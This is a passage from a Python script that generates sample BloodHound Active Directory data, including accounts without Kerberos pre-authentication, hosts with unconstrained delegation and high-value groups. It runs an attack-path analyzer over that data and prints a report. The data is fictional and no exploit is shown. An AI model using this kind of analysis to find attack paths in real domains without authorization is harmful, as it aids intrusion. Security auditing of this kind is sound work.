"dontreqpreauth": False, "admincount": True, "description": "Backup Service"}},
{"Properties": {"name": "J.SMITH@CORP.LOCAL", "enabled": True, "hasspn": False,
"dontreqpreauth": True, "admincount": False}},
{"Properties": {"name": "ADMIN@CORP.LOCAL", "enabled": True, "hasspn": False,
"dontreqpreauth": False, "admincount": True}},
],
}
sample_computers = {
"meta": {"type": "computers"},
"data": [
{"Properties": {"name": "DC01.CORP.LOCAL", "enabled": True,
"unconstraineddelegation": True, "operatingsystem": "Windows Server 2022"}},
{"Properties": {"name": "WEB01.CORP.LOCAL", "enabled": True,
"unconstraineddelegation": True, "operatingsystem": "Windows Server 2019"}},
{"Properties": {"name": "SQL01.CORP.LOCAL", "enabled": True,
"unconstraineddelegation": False, "operatingsystem": "Windows Server 2019",
"allowedtodelegate": ["MSSQLSvc/DB01.CORP.LOCAL:1433"]}},
],
}
sample_groups = {
"meta": {"type": "groups"},
"data": [
{"Properties": {"name": "DOMAIN ADMINS@CORP.LOCAL", "highvalue": True},
"Members": [{"MemberId": "S-1-5-21-xxx-500"}]},
{"Properties": {"name": "BACKUP OPERATORS@CORP.LOCAL", "highvalue": True},
"Members": []},
],
}
# Write sample data
sample_dir = "./bloodhound_sample"
os.makedirs(sample_dir, exist_ok=True)
for name, data in [("users.json", sample_users), ("computers.json", sample_computers), ("groups.json", sample_groups)]:
with open(os.path.join(sample_dir, name), "w") as f:
json.dump(data, f)
# Load and analyze
analyzer.load_bloodhound_data(sample_dir)
analyzer.run_full_analysis()
print(analyzer.generate_report())
# Cleanup
import shutil
shutil.rmtree(sample_dir)
if __name__ == "__main__":
main()